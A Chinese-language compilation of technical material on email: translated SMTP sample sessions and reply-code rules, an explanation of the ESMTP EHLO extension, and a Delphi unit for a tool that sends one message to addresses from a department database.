第三位给出了更详细的说明。列出的应答表说明了这一点。文本应答是推荐使用的，而不是必须使用的，它的内容是可以根据不同情况而变化的。另一方面，应答码必须严格遵守本节的说明。接收方不应该因为稍稍的不同情况而自己创建新的代码而不使用已经定义的代码。例如，如NOOP命令的情况，如果成功执行它后，不用返回任何新的信息，只用返回250应答。当发送的命令要求一个未实现的站点指定操作时，应答应该是502。

应答文本可能多于一行；在此情况下，文本必须被标记，接收文本的一方才不致于少读入一行数据。这要求特定的格式说明多行应答。此格式是：每一行，除了最后一行外，都以应答码加一个"-"开始。而最后一行以应答码加空格<SP>开始。如下例：

123-First line

123-Second line

123-234 text beginning with numbers

123 The last line

通常情况下，接收的一方只用寻找应答码加空格的那一行就可以，而忽略前面行的内容。在特殊的情况下，发送方必须知道响应文本的内容，这时接收应答的一方可以通过当时的情况正确地决定是否需要知道文本的内容。

附录 F 一些例子

本节提供了一些SMTP会话的完整例子。

典型的SMTP操作

此类显示邮件如何由在USC-ISIF和机上的Smith发送到BBN-UNIX主机上Jones，Green和Brown的。这里，我们假设USC-ISIF主机直接和BBN-UNIX主机联系。Jones和Brown接收邮件，而Green在BBN-UNIX上没有邮箱。

-------------------------------------------------------------

R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BBN-UNIX.ARPA

S: MAIL FROM:<Smith@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<Jones@BBN-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<Green@BBN-UNIX.ARPA>

R: 550 No such user here

S: RCPT TO:<Brown@BBN-UNIX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 BBN-UNIX.ARPA Service closing transmission channel

-------------------------------------------------------------

放弃SMTP操作

-------------------------------------------------------------

R: 220 MIT-Multics.ARPA Simple Mail Transfer Service Ready

S: HELO ISI-VAXA.ARPA R: 250 MIT-Multics.ARPA

S: MAIL FROM:<Smith@ISI-VAXA.ARPA>

R: 250 OK

S: RCPT TO:<Jones@MIT-Multics.ARPA>

R: 250 OK

S: RCPT TO:<Green@MIT-Multics.ARPA>

R: 550 No such user here

S: RSET

R: 250 OK

S: QUIT

R: 221 MIT-Multics.ARPA Service closing transmission channel

-------------------------------------------------------------

转发邮件

-------------------------------------------------------------

第一步：源主机到转发主机

R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-AI.ARPA

R: 250 USC-ISIE.ARPA

S: MAIL FROM:<JQP@MIT-AI.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:Jones@BBN-VAX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Date: 2 Nov 81 22:33:44

S: From: John Q. Public <JQP@MIT-AI.ARPA>

S: Subject: The Next Meeting of the Board

S: To: Jones@BBN-Vax.ARPA

S:

S: Bill:

S: The next meeting of the board of directors will be

S: on Tuesday.

S: John.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

第二步：转发主机到目的主机

R: 220 BBN-VAX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIE.ARPA

R: 250 BBN-VAX.ARPA

S: MAIL FROM:<@USC-ISIE.ARPA:JQP@MIT-AI.ARPA>

R: 250 OK

S: RCPT TO:<Jones@BBN-VAX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Received: from MIT-AI.ARPA by USC-ISIE.ARPA ;

2 Nov 81 22:40:10 UT

S: Date: 2 Nov 81 22:33:44

S: From: John Q. Public <JQP@MIT-AI.ARPA>

S: Subject: The Next Meeting of the Board

S: To: Jones@BBN-Vax.ARPA

S:

S: Bill:

S: The next meeting of the board of directors will be

S: on Tuesday.

S: John.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

-------------------------------------------------------------

确认和发送

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SEND FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

获得和发送邮件 首先确定用户名，然后尝试将邮件发送到用户终端，当它失败时，发送到用户邮箱。

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SEND FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 450 User not active now

S: RSET

R: 250 OK

S: MAIL FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

上述问题的更有效的作法

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SOML FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 User not active now, so will do mail.

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

邮件列表 首先，两个邮件列表中的每一个在不同主机的不同会话上扩展，然后，通过转发主机向列表上的用户发送邮件。

-------------------------------------------------------------

第一步：扩展第一个列表

R: 220 MIT-AI.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 MIT-AI.ARPA

S: EXPN Example-People

R: 250-<ABC@MIT-MC.ARPA>

R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>

R: 250-Xenon Y. Zither <XYZ@MIT-AI.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<joe@foo-unix.ARPA>

R: 250 <xyz@bar-unix.ARPA>

S: QUIT

R: 221 MIT-AI.ARPA Service closing transmission channel

第二步：扩展第二个列表

R: 220 MIT-MC.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 MIT-MC.ARPA

S: EXPN Interested-Parties

R: 250-Al Calico <ABC@MIT-MC.ARPA>

R: 250-<XYZ@MIT-AI.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<fred@BBN-UNIX.ARPA>

R: 250 <xyz@bar-unix.ARPA>

S: QUIT

R: 221 MIT-MC.ARPA Service closing transmission channel

第三步：通过转发主机向包括于两个列表中的所有用户发送邮件

R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 USC-ISIE.ARPA

S: MAIL FROM:<Account.Person@SU-SCORE.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:ABC@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:Fonebone@USC-ISIQA.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:XYZ@MIT-AI.ARPA>

R: 250 OK

S: RCPT

TO:<@USC-ISIE.ARPA,@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:joe@FOO-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:xyz@BAR-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:fred@BBN-UNIX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

-------------------------------------------------------------

转发的情况

-------------------------------------------------------------

R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISIF.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<fred@USC-ISIF.ARPA>

R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIF.ARPA Service closing transmission channel

-------------------------------------------------------------

-------------------------------------------------------------

第一步：尝试第一台主机上的邮箱

R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISIF.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<fred@USC-ISIF.ARPA>

R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

S: RSET

R: 250 OK

S: QUIT

R: 221 USC-ISIF.ARPA Service closing transmission channel

第二步：尝试第二台主机上的邮箱

R: 220 USC-ISI.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISI.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<Jones@USC-ISI.ARPA>

R: OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISI.ARPA Service closing transmission channel

-------------------------------------------------------------

许多接收者的情况

-------------------------------------------------------------

R: 220 BERKELEY.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BERKELEY.ARPA

S: MAIL FROM:<Postel@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<fabry@BERKELEY.ARPA>

R: 250 OK

S: RCPT TO:<eric@BERKELEY.ARPA>

R: 552 Recipient storage full, try again in another transaction

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: MAIL FROM:<Postel@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<eric@BERKELEY.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 BERKELEY.ARPA Service closing transmission channel

-------------------------------------------------------------

<CRLF>

回车

<SP>

空格

ASCII

美国标准信息交换码

主机

拥有SMTP进程或邮箱的网络计算机

发送SMTP进程

与接收SMTP进程一起工作的进程。发送SMTP开始传输服务连接，它发出SMTP命令，接收应答，管理邮件的传送

用户

希望获得邮件服务的人（或以人的名义出现的进程），还有就是邮件的接收者。

会话

当传输信道打开时进行的一系列信息交换

传输服务

可靠的面向流的数据通信服务。例如：NCP，TCP，NITS。

传输信道

在发送SMTP和接收SMTP之间建立的全双工的用于交换命令，应答和邮件内容的信道

字符

可显示字符串

行

以一个<CRLF>结束的邮件内容

应答

接收SMTP对发送SMTP的通过传输信道发送的的对某一命令的（成功或不成功的）响应。应答的一般格式是应答码加一段文本。通常情况下，应答码供机器使用，而文本用于人类用户使用

邮件内容

一系列的字符串，它们符合ARPA Internet文本信息格式标准的标准字符集

邮件内容结束标记

标明邮件内容结束的特定字符

邮箱

指定应该向何处发向用户的信件的地址（字符串）。它通常由用户名和主机名表示

命令

由发送SMTP发送到接收SMTP的要求一个邮件服务操作的请求

域

邮件系统中主机地址字符串的层次式表示

接收SMTP进程

与发送SMTP进程一起工作的进程。它等待通过传输服务建立的连接。它接收发送SMTP发出的命令，给出应答并执行相应的操作

操作

一个信息由一个接收者发送到另一个或多个接收者的一系列操作


SMTP服务扩展
SMTP服务扩展

SMTP提供一种可靠的有效的传送机制，它用于传送电子邮件。虽然十几年来，它的作用已经有目共睹，可是对它功能的扩充也是必不可少的。对SMTP服务的扩展我们介绍一下：在SMTP转发的邮件中包括信封和内容这两种东西。我们写信也写信封和信皮，我们可以借生活中的信件来帮助理解。

(1) SMTP信封比较容易理解，它被作为一系列的SMTP协议单元传送，它包括发送者地址，传送模式，还有一个或多个接收者地址。如果有不清楚的地方，请参阅《SMTP协议标准》。

(2) 至于内容，它是由两部分组成的，一部分是信头，一部分是信体，信头是由一个个的域/值对（一个域，一个值）组成的，如果信体有结构的话，它的结构是以MIME构造的。内容从根本上来说是文本的，一般也是由ASCII码构成的，但是由于使用了MIME，所以这个限制应该也是没有了，但信头却不行，一般都应该使用ASCII码表示。虽然SMTP协议是一个不错的协议，可是对它的扩展还是不可避免，本文主要说明了一种扩展方法，使用这种扩展方法，服务器和用户之间可以相互知道对方使用了扩展，使用了多少，如果进行通信。

这里我们希望让大家知道网络协议中的一个经验：参数越多，死得越快；参数越少，越能持久。参数太多了，根本不利于使用，无法推广，早晚会被别的协议取代。这也符合科学的基础原理，简单。这说明在实现时一定要小心，如果不小心会便得到的远远小于付出的，有时根本不能提供任何益处。

下面我们看一下EHLO命令，支持SMTP服务扩展的客户应该以EHLO命令开始SMTP会话，而不是通常的HELO命令。如果服务器也支持，那就返回确认响应，如果不支持就返回失败响应。因为引入了EHLO命令，因此会话开始的第一条命令可以是HELO或EHLO。

因此引入了新的参数，所以SMTP的MAIL FROM和RCPT TO命令行长度也能再是512字节了，但是引入新参数的长度必须加以说明，以便实现者准备缓冲区。

命令格式如下：

ehlo-cmd ::= "EHLO" SP domain CR LF

在命令成功是，服务器返回代码250，如果失败返回代码550，如果出错，返回500，501，502，504或421。对比《SMTP协议标准》，EHLO命令可以出现在任何HELO命令出现的地方，在成功发送一个HELO或EHLO命令后再次发送它会使服务器返回503。客户这时不能缓存服务器返回的任何信息。这里一定要注意的是，每次开始SMTP扩展服务会话的时候必须发送EHLO命令。如果服务器能够处理EHLO命令，它会返回代码250。这样，服务器和客户就处于初始状态了，也就是说，所有的状态表和缓冲区已经准备完毕。通常这种响应是多行的，每行响应包括一个关键字，如果有的话，还有一个或多个参数，响应的语法如下：

ehlo-ok-rsp ::= "250" domain [ SP greeting ] CR LF

/ ( "250-" domain [ SP greeting ] CR LF

*( "250-" ehlo-line CR LF )

"250" SP ehlo-line CR LF )

greeting ::= 1*<除了CR 或LF的所有字符>

ehlo-line ::= ehlo-keyword *( SP ehlo-param )

ehlo-keyword ::= (字母/数字) *(字母/数字/"-")

ehlo-param ::= 1*<随了空格和控制字符外的字符>

ALPHA ::= <大写A到Z，小写A到Z>

DIGIT ::= <0到9>

CR ::= <回车，ASCII码13>

LF ::= <换行，ASCII码10>

SP ::= <空格，ASCII码32>

虽然EHLO关键字可以是大写，小写，大小写混合的，但是对它的处理是大小写敏感的，这是与原来规定不同的。IANA支持SMTP服务扩展注册，相对于每个扩展都有一个相应的EHLO关键字值，每个在IANA注册的服务扩展必须在一个RFC中定义。如果一个关键字以X开头，它指的是这个服务扩展是双方约定的，不是标准的。

如果出于某种原因，服务器不能列出它所支持的服务扩展，就返回代码554。在接收到这个代码后，客户要么发送HELO，要么发送QUIT命令。有时候服务器接收到EHLO命令，可是命令参数不可接受，它就返回代码501。如果服务器识别了EHLO，但对服务器扩展未实现，则返回代码502。如果服务器不再提供服务扩展，则返回代码421。在接收到这个代码后，客户要么发送HELO，要么发送QUIT命令。如果服务器不支持服务扩展，则返回500，服务器保持现有状态，在接收到这个代码后，客户要么发送HELO，要么发送QUIT命令。

有时候，SMTP服务器会在接收到EHLO命令后因为某种原因关闭连接，这种情况在原来的SMTP协议标准中未涉及。为了处理这种情况，客户必须能够确认服务器是否能够工作，它可以重新连接并发送HELO或EHLO命令。有些服务器在接收到一个EHLO命令后会拒绝接收新的HELO命令，这时可以利用RSET命令重新启动，然后再发送HELO。如果客户不注意这样的小细节，会收到失败代码。

下面我们来看一下MAIL FROM和RCPT TO参数。许多服务扩展是在MAIL FROM和RCPT TO命令后加入一些参数来实现的。下面我们看一下这两个命令的格式：

esmtp-cmd ::= inner-esmtp-cmd [SP esmtp-parameters] CR LF

esmtp-parameters ::= esmtp-parameter *(SP esmtp-parameter)

esmtp-parameter ::= esmtp-keyword ["=" esmtp-value]

esmtp-keyword ::= (字母/数字) *(字母/数字/"-")

esmtp-value ::= 1*<除了空格，"="和控制字符的所有字符>

inner-esmtp-cmd ::= ("MAIL FROM:"返回路径) / ("RCPT TO:"转发路径)

如果服务器不能识别或实现一个或多个MAIL FROM或RCPT TO参数，它应该返回代码555。如果这种情况只是暂时的，服务器返回代码455。其它返回代码请查阅相关资料，这里不再详述了。服务器以服务扩展处理时，它处理的任何信息都应该在包头上加上“服务扩展标记”以示区别。

下面是一个例子：

(1) 双方交互：S是服务器，C是客户。

S: <等待连接在TCP端口25>

C: <连接到服务器>

S: 220 dbc.mtview.ca.us SMTP service ready

C: EHLO ymir.claremont.edu

S: 250 dbc.mtview.ca.us says hello

...

(2) 下面也是一个例子：

S: <等待连接在TCP端口25>

C: <连接到服务器>

S: 220 dbc.mtview.ca.us SMTP service ready

C: EHLO ymir.claremont.edu

S: 250-dbc.mtview.ca.us says hello

S: 250-EXPN

S: 250-HELP

S: 250-8BITMIME

S: 250-XONE

S: 250 XVRB

...

这说明服务器实现了服务扩展EXPN和HELP，这两个是标准的服务扩展，另外两个以X开头的是非标准的。

(3) 最后，我们来看看服务器不支持服务扩展时的情况：

S: <等待连接在TCP端口25>

C: <连接到服务器>

S: 220 dbc.mtview.ca.us SMTP service ready

C: EHLO ymir.claremont.edu

S: 500 Command not recognized: EHLO

...

代码500表示服务器不支持服务扩展。


一个群发邮件的DELPHI代码
s

unit USMTP;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, Buttons, StdCtrls, Psock, NMsmtp, Db, DBTables, ExtCtrls,

Grids, DBGrids, DBClient, Provider, DBCtrls;

type

TFSMTP = class(TForm)

PageControl1: TPageControl;

TabSheet1: TTabSheet;

TabSheet2: TTabSheet;

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

NMSMTP1: TNMSMTP;

Label4: TLabel;

Label5: TLabel;

Label6: TLabel;

EditHost: TEdit;

EditPort: TEdit;

EditUserID: TEdit;

ButtonConnect: TSpeedButton;

DBGrid1: TDBGrid;

Label7: TLabel;

Label8: TLabel;

ButtonAdd: TSpeedButton;

ButtonRemove: TSpeedButton;

ButtonSend: TSpeedButton;

ListBoxAttachments: TListBox;

Label9: TLabel;

Label10: TLabel;

Panel1: TPanel;

Query1: TQuery;

Label11: TLabel;

Label12: TLabel;

EditSubject: TEdit;

OpenDialog1: TOpenDialog;

StatusBar1: TStatusBar;

MemoMail: TMemo;

EditTo: TEdit;

EditCC: TEdit;

EditBCC: TEdit;

ButtonDisconnect: TSpeedButton;

Label13: TLabel;

Label14: TLabel;

EditName: TEdit;

EditAddress: TEdit;

Label15: TLabel;

Label16: TLabel;

ButtonConnection2: TSpeedButton;

Button1: TButton;

Edit1: TEdit;

Label17: TLabel;

Label18: TLabel;

Label19: TLabel;

Label20: TLabel;

Edit2: TEdit;

DBLookupComboBox1: TDBLookupComboBox;

DataSource1: TDataSource;

Query1BDEDesigner: TIntegerField;

Query1BDEDesigner3: TStringField;

Query1BDEDesigner4: TStringField;

Query1BDEDesigner5: TStringField;

Query1BDEDesigner6: TFloatField;

Query1BDEDesigner7: TStringField;

Query1BDEDesigner8: TStringField;

Query1BDEDesigner9: TStringField;

Query1BDEDesigner10: TStringField;

Query1BDEDesigner11: TStringField;

Query1BDEDesigner12: TStringField;

Button2: TSpeedButton;

Panel2: TPanel;

Image1: TImage;

QDepartKind: TQuery;

DSDepartKind: TDataSource;

Query1BDEDesigner2: TStringField;

QDepartKindBDEDesigner: TStringField;

QDepartKindID: TIntegerField;

Memo1: TMemo;

procedure ButtonConnectClick(Sender: TObject);

procedure ButtonDisconnectClick(Sender: TObject);

procedure NMSMTP1Connect(Sender: TObject);

procedure NMSMTP1Disconnect(Sender: TObject);

procedure ButtonAddClick(Sender: TObject);

procedure ButtonRemoveClick(Sender: TObject);

procedure ButtonSendClick(Sender: TObject);

procedure NMSMTP1EncodeStart(Filename: String);

procedure NMSMTP1EncodeEnd(Filename: String);

procedure NMSMTP1ConnectionFailed(Sender: TObject);

procedure NMSMTP1ConnectionRequired(var Handled: Boolean);

procedure NMSMTP1Failure(Sender: TObject);

procedure NMSMTP1HostResolved(Sender: TComponent);

procedure NMSMTP1InvalidHost(var Handled: Boolean);

procedure NMSMTP1PacketSent(Sender: TObject);

procedure NMSMTP1RecipientNotFound(Recipient: String);

procedure NMSMTP1SendStart(Sender: TObject);

procedure NMSMTP1Success(Sender: TObject);

procedure NMSMTP1HeaderIncomplete(var handled: Boolean;

hiType: Integer);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

procedure ButtonConnection2Click(Sender: TObject);

procedure FormShow(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button1Click(Sender: TObject);

procedure DBLookupComboBox1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FSMTP: TFSMTP;

implementation

uses DataModoule,UnitSending,p_fandp;

{$R *.DFM}

procedure TFSMTP.ButtonConnectClick(Sender: TObject);

begin

NMSMTP1.Host:=EditHost.Text;

NMSMTP1.Port:=StrToInt(EditPort.Text);

NMSMTP1.UserId:=EditUserId.Text;

NMSMTP1.Connect;

ButtonConnect.Enabled:=False;

ButtonDisConnect.Enabled:=True;

end;

procedure TFSMTP.ButtonDisconnectClick(Sender: TObject);

begin

NMSMTP1.Disconnect;

ButtonConnect.Enabled:=True;

ButtonDisConnect.Enabled:=False;

end;

procedure TFSMTP.NMSMTP1Connect(Sender: TObject);

begin

StatusBar1.SimpleText:='已经连接';

Panel1.Color:=clBlue;

end;

procedure TFSMTP.NMSMTP1Disconnect(Sender: TObject);

begin

if StatusBar1<>nil then begin

StatusBar1.SimpleText:='断开连接';

Panel1.Color:=clRed;

end;

end;

procedure TFSMTP.ButtonAddClick(Sender: TObject);

begin

if OpenDialog1.Execute then

ListBoxAttachments.Items.Add(OpenDialog1.FileName);

end;

procedure TFSMTP.ButtonRemoveClick(Sender: TObject);

begin

ListBoxAttachments.Items.Delete(ListBoxAttachments.ItemIndex);

end;

procedure TFSMTP.ButtonSendClick(Sender: TObject);

{var

i_sum,i_count:integer;

s_To:string;

begin

i_sum:=0;i_count:=0;

with DBGrid1.DataSource.DataSet do

if (isempty=false) and (recordcount>0) then begin

Application.CreateForm(TFormSending, FormSending);

FormSending.Show;

FormSending.Label1.Caption:='共'+inttostr(recordcount)+'封邮件';

FormSending.Label4.Caption:=FormSending.Label1.Caption;

DisableControls;

first;

while not eof do begin

s_To:=Query1.FindField('电子邮箱').asstring;

i_sum:=i_sum+1;

if (trim(s_to)='')and(pos('@',s_To)<=0) then begin

i_count:=i_count+1;

FormSending.Label3.Caption:='目前共有'+inttostr(i_count)+'封空白的邮件地址';

FormSending.Label6.Caption:=FormSending.Label3.Caption;

end

else begin

FormSending.Label2.Caption:='正在发送第'+inttostr(i_sum)+'封邮件... ... ... ...';

FormSending.Label5.Caption:=FormSending.Label2.Caption;

Editto.Text:=s_to;

// EditBCC.Text:=s_to;

// EditCC.Text:=s_to;

NMSMTP1.PostMessage.FromAddress:=EditAddress.Text;

NMSMTP1.PostMessage.FromName:=EditName.Text;

NMSMTP1.PostMessage.Subject:=EditSubject.Text;

NMSMTP1.PostMessage.ToAddress.Text:=Editto.Text;

// NMSMTP1.PostMessage.ToBlindCarbonCopy.Add(EditBCC.Text);

// NMSMTP1.PostMessage.ToCarbonCopy.Add(EditCC.Text);

NMSMTP1.PostMessage.Attachments.AddStrings(ListBoxAttachments.Items);

NMSMTP1.PostMessage.Body.Assign(MemoMail.Lines);

NMSMTP1.SendMail; //

// ts_CC.Add(s_To);

end;

next;

end;

EnableControls;

end;

ShowMessage('邮件发送完毕！#1');

FormSending.Close;//}

//---------------------------------------------------

var

s_To:string;

// ts_To: TStrings;

begin

// ts_To:=TStringList.Create;

// ts_To.Clear;

with DBGrid1.DataSource.DataSet do begin

first;

DBGrid1.DataSource.DataSet.DisableControls;

while not eof do begin

s_To:=Query1.FindField('电子邮箱').asstring;

if (trim(s_To)<>'')and(pos('@',s_To)>0) then begin

//ts_To.Add(s_To);

Memo1.Lines.Add(s_To);

end;

next;

end;

first;

DBGrid1.DataSource.DataSet.EnableControls;

end;

NMSMTP1.PostMessage.FromAddress:=EditAddress.Text;

NMSMTP1.PostMessage.FromName:=EditName.Text;

NMSMTP1.PostMessage.Subject:=EditSubject.Text;

NMSMTP1.PostMessage.ToAddress.Text:=Memo1.Text;

//NMSMTP1.PostMessage.ToAddress.AddStrings(ts_To);

//NMSMTP1.PostMessage.ToAddress.Text:=s_To;

//NMSMTP1.PostMessage.ToAddress.Add(Editto.Text);

//NMSMTP1.PostMessage.ToBlindCarbonCopy.AddString(ts_BCC.Text);

//NMSMTP1.PostMessage.ToBlindCarbonCopy.Add(EditBCC.Text);

//NMSMTP1.PostMessage.ToCarbonCopy.AddStrings(ts_CC);

//NMSMTP1.PostMessage.ToCarbonCopy.Add(EditCC.Text);

NMSMTP1.PostMessage.Attachments.AddStrings(ListBoxAttachments.Items);

NMSMTP1.PostMessage.Body.Text:=MemoMail.Text;

//NMSMTP1.PostMessage.Body.Assign(MemoMail.Lines);

//NMSMTP1.PostMessage.Body.AddStrings(MemoMail.Lines);

NMSMTP1.SendMail;

ShowMessage('邮件发送完毕！#1');//}

end;

procedure TFSMTP.NMSMTP1EncodeStart(Filename: String);

begin

StatusBar1.SimpleText:='Encoding'+Filename;

end;

procedure TFSMTP.NMSMTP1EncodeEnd(Filename: String);

begin

StatusBar1.SimpleText:='Finished Encoding'+Filename;

end;

procedure TFSMTP.NMSMTP1ConnectionFailed(Sender: TObject);

begin

ShowMessage('连接失败');

end;

procedure TFSMTP.NMSMTP1ConnectionRequired(var Handled: Boolean);

begin

if MessageDlg('Connection Required Connect ?',

mtConfirmation,mbOkCancel,0)=mrOk then begin

Handled:=TRUE;

NMSMTP1.Connect;

end;

end;

procedure TFSMTP.NMSMTP1Failure(Sender: TObject);

begin

StatusBar1.SimpleText:='错误';

end;

procedure TFSMTP.NMSMTP1HostResolved(Sender: TComponent);

begin

StatusBar1.SimpleText:='Host Resolved';

end;

procedure TFSMTP.NMSMTP1InvalidHost(var Handled: Boolean);

var TmpStr:String;

begin

if inputquery('Invalid Host!','Specify a new host:',TmpStr) then

begin

NMSMTP1.Host:=TmpStr;

Handled:=True;

end;

end;

procedure TFSMTP.NMSMTP1PacketSent(Sender: TObject);

begin

StatusBar1.SimpleText:=IntToStr(NMSMTP1.BytesSent)

+'bytes of'+IntToStr(NMSMTP1.BytesTotal)+'sent';

end;

procedure TFSMTP.NMSMTP1RecipientNotFound(Recipient: String);

begin

ShowMessage('Recipient'+''''+Recipient+''''+'not found');

end;

procedure TFSMTP.NMSMTP1SendStart(Sender: TObject);

begin

StatusBar1.SimpleText:='发送邮件';

end;

procedure TFSMTP.NMSMTP1Success(Sender: TObject);

begin

StatusBar1.SimpleText:='成功';

end;

procedure TFSMTP.NMSMTP1HeaderIncomplete(var handled: Boolean;

hiType: Integer);

begin

ShowMessage('Header Incomplete.');

end;

procedure TFSMTP.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

NMSMTP1.Abort;

end;

procedure TFSMTP.ButtonConnection2Click(Sender: TObject);

begin

if ButtonConnection2.Caption='连接' then begin

NMSMTP1.Host:=EditHost.Text;

NMSMTP1.Port:=StrToInt(EditPort.Text);

NMSMTP1.UserId:=EditUserId.Text;

NMSMTP1.Connect;

Panel1.Color:=clBlue;

ButtonConnection2.Caption:='断开';

end

else begin

NMSMTP1.Disconnect;

Panel1.Color:=clRed;

ButtonConnection2.Caption:='连接';

end;

end;

procedure TFSMTP.FormShow(Sender: TObject);

begin

//DataMod.TableDepartment.Open;

if gs_potence[Self.Tag] = '2' then begin

ButtonSend.Enabled := False;

end;

Query1.Open;

QDepartKind.Open;

//ButtonConnection2.Click;

end;

procedure TFSMTP.FormClose(Sender: TObject; var Action: TCloseAction);

begin

//DataMod.TableDepartment.Close;

Query1.Close;

QDepartKind.Close;

//ButtonConnection2.Click;

Action:=CaFree;

end;

procedure TFSMTP.Button1Click(Sender: TObject);

begin

if NMSMTP1.Verify(Edit1.Text) then

// ShowMessage(Edit1.Text+' verified')

else

ShowMessage(Edit1.Text+' not verified');

end;

procedure TFSMTP.DBLookupComboBox1Click(Sender: TObject);

begin

Query1.Filter:='部门分类='+vartostr(DBLookupComboBox1.KeyValue);

end;

procedure TFSMTP.Button2Click(Sender: TObject);

begin

Self.Close;

end;

end.


Email 服务器的简单实现
Email 服务器的简单实现

湖南艾邦信息技术有限公司

李岳梅

